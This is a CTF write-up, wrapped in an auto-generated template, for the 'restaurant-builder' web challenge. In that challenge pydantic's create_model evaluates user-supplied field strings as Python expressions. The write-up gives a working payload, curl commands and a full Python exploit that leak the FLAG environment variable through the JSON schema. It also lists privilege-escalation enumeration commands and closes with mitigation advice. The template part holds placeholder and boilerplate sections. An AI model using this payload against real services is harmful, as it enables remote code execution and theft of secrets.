restaurant-builder
restaurant-builder
Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-31 | Status: Solved Techniques: arbitrary_expression_evaluation, environment_variable_exfiltration, forward_reference_eval_rce, pydantic_create_model_eval, typing_literal_const_schema_exfil
Summary
Task: FastAPI app passes a user-controlled Dict[str,str] into pydantic create_model; in pydantic v2 string field values are evaluated as forward-reference type annotations, giving arbitrary expression evaluation (RCE). Solution: register a blueprint whose field value is import('typing').Literal[import('os').environ['FLAG']] so the flag becomes a Literal type, rendered as a const in the JSON schema leaked by GET /blueprint/{name}.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
kitctf| ID:20240531_kitctf_restaurant_builder - Tags: rce, fastapi, python, eval, pydantic, create_model, forward_reference, type_annotation_injection, json_schema_leak, typing_literal
- Indicators: pydantic create_model called with user-controlled Dict[str, str], string field values in pydantic v2 treated as forward-reference type annotations, only dict keys are filtered (startswith __), values unrestricted
- Source:
20240531_kitctf_restaurant_builder.md
Foothold
Vulnerability / Misconfiguration
- Arbitrary_expression_evaluation
- Environment_variable_exfiltration
- Forward_reference_eval_rce
- Pydantic_create_model_eval
- Typing_literal_const_schema_exfil
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- arbitrary_expression_evaluation
- environment_variable_exfiltration
- forward_reference_eval_rce
- pydantic_create_model_eval
- typing_literal_const_schema_exfil
- Tags: rce, fastapi, python, eval, pydantic, create_model, forward_reference, type_annotation_injection, json_schema_leak, typing_literal
Original Writeup
<details><summary>Click to expand original content</summary>restaurant-builder — KITCTF / GPN24 CTF (2024)
Description
So you want to build your own restaurant? Well, we obviously can't just let you do that. Please first submit blueprints and exact descriptions for the building, all the furniture and every single item you plan to have in the restaurant.
A small FastAPI application lets you register "blueprints" (dynamic pydantic models) and then "items" validated against those blueprints. The flag is provided to the server via the FLAG environment variable. The goal is to leak it through the blueprint API.
Analysis
The entire app is 43 lines. The interesting endpoint is register_blueprint:
@app.post("/blueprint/{name}")
def register_blueprint(name: str, description: Dict[str,str] = Body()):
if name in blueprints:
raise HTTPException(status_code=409, detail="...")
description = {k: v for k,v in description.items() if not k.startswith("__")}
Blueprint = create_model(name, **description)
blueprints[name] = Blueprint
return "Blueprint successfully registered"
create_model(name, **description) is called with a fully user-controlled Dict[str, str].
In pydantic v2, create_model(name, field=value) interprets each field=value
pair as a field definition. When the value is a bare string, pydantic treats it
as a type annotation expressed as a forward reference. Resolving a forward
reference ends in Python's eval():
pydantic._internal._typing_extra.try_eval_type
-> eval_type_backport
-> typing._eval_type
-> annotationlib ForwardRef.evaluate
-> eval(code, globals, locals)
So every field value is evaluated as an arbitrary Python expression at blueprint registration time. This is an arbitrary-expression-evaluation / RCE primitive.
The only filter applied is not k.startswith("__"), which filters the dict
keys (the field names) — not the values. The expression strings are
completely unrestricted, so __import__, attribute access, subscripting, etc.
are all available inside them.
Confirmation (local): sending a value of
__import__("os").environ["FLAG"] raised
SyntaxError: Forward reference must be an expression -- got 'GPNCTF{test}'.
The expression was evaluated first to the flag string, and only then did
pydantic try (and fail) to parse the result as a type annotation — proving the
eval primitive fires before any type validation.
Solution
The error above shows we have eval, but a raw string is not a valid type, so the
model never registers and we cannot read it back. We need the evaluated
expression to resolve to a valid type that also embeds the flag, so it
survives registration and shows up in the schema returned by
GET /blueprint/{name} (which calls blueprint.model_json_schema()).
typing.Literal[<value>] is perfect: it is a valid type, and pydantic renders a
Literal into JSON schema as a const. So we build:
__import__("typing").Literal[__import__("os").environ["FLAG"]]
which evaluates to Literal["GPNCTF{...}"]. The flag ends up in the schema's
const key.
Exploitation steps
- POST a blueprint with a fresh random name whose single field value is the payload expression. (Names can only be registered once — reuse returns 409 — so always pick a new name.)
- GET the same blueprint to retrieve its JSON schema, which now contains the
flag in the
constfield.
BASE="https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de"
# 1) Register the malicious blueprint
curl -s -X POST "$BASE/blueprint/pwnX" \
-H "Content-Type: application/json" \
-d '{"flag": "__import__(\"typing\").Literal[__import__(\"os\").environ[\"FLAG\"]]"}'
# 2) Read back the schema -> flag is in the const
curl -s "$BASE/blueprint/pwnX"
Full reproducible exploit
#!/usr/bin/env python3
import secrets
import requests
BASE = "https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de"
# Payload: evaluated as a Python expression by pydantic's forward-reference eval.
# Resolves to Literal["<flag>"], a valid type, rendered as `const` in JSON schema.
payload = {
"flag": '__import__("typing").Literal[__import__("os").environ["FLAG"]]'
}
name = "pwn_" + secrets.token_hex(4) # blueprint names are single-use (409 on reuse)
r = requests.post(f"{BASE}/blueprint/{name}", json=payload)
print("register:", r.status_code, r.text)
schema = requests.get(f"{BASE}/blueprint/{name}").json()
flag = schema["properties"]["flag"]["const"]
print("FLAG:", flag)
Server response (live instance)
{"properties":{"flag":{"const":"GPNCTF{REDACTED}","title":"Flag","type":"string"},"required":["flag"],"title":"pwnX","type":"object"}
The flag text ("...one or two RCES later they built happily ever after")
confirms the intended bug is arbitrary expression evaluation (RCE) via
create_model with string field types. The Literal[] -> const schema leak is
just the cleanest exfiltration; a general RCE (running commands, embedding any
type that surfaces the value) is equally possible.
Mitigation
- Never pass untrusted strings as pydantic field type annotations.
create_modelfield values given as strings are evaluated as type expressions (forward references ->eval). - Use explicit
(type, default)tuples with a fixed allowlist of permitted types, or validate/whitelist allowed type names before building the model. - Treat any "dynamic schema from user input" feature as a code-execution sink.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR